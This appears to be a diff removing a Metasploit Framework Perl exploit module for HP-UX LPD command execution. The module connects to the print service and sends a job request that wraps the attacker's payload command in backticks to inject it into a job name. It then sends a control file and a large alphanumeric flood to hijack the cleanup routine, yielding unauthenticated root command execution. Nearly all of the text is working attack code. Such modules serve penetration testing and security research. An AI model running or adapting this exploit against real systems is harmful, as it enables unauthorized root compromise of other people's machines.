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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::hpux_lpd_exec;
- use base "Msf::Exploit";
- use IO::Socket;
- use IO::Select;
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'HP-UX LPD Command Execution',
- 'Version' => '$Revision: 1.13 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>'],
- 'Arch' => [ ],
- 'OS' => [ 'hpux' ],
- 'Priv' => 0,
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The LPD server port', 515],
- },
- 'Payload' =>
- {
- 'Space' => 200,
- 'Keys' => ['cmd_nospaceslash'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This exploit abuses an unpublished vulnerability in the HP-UX LPD
- service. This flaw allows an unauthenticated attacker to execute
- arbitrary commands with the privileges of the root user. The LPD
- service is only exploitable when the address of the attacking system
- can be resolved by the target. This vulnerability was silently patched
- with the buffer overflow flaws addressed in HP Security Bulletin HPSBUX0208-213.
- }),
- 'Refs' => [
- ['URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html']
- ],
-
- 'Keys' => ['lpd'],
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_path = $self->GetVar('RPATH');
- my $cmd = $self->GetVar('EncodedPayload')->RawPayload;
-
- my $res;
-
- # We use a second connection to exploit the bug
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- srand(time() + $$);
- my $num = int(rand() * 1000);
-
- $s->Send("\x02msf$num`$cmd`\n");
- $res = $s->Recv(1, 5);
- if (ord($res) != 0) {
- $self->PrintLine("[*] The target did not accept our second job request command");
- $s->Close;
- return;
- }
-
- $s->Send("\x02 32 cfA187control\n");
- $res = $s->Recv(1, 5);
- if (ord($res) != 0) {
- $self->PrintLine("[*] The target did not accept our control file");
- $s->Close;
- return;
- }
-
- $self->PrintLine("[*] Remember to kill the telnet process when finished");
- $self->PrintLine("[*] Forcing an error and hijacking the cleanup routine...");
- $s->Send(Pex::Text::AlphaNumText(16384));
- $s->Close;
-
- return;
- }
-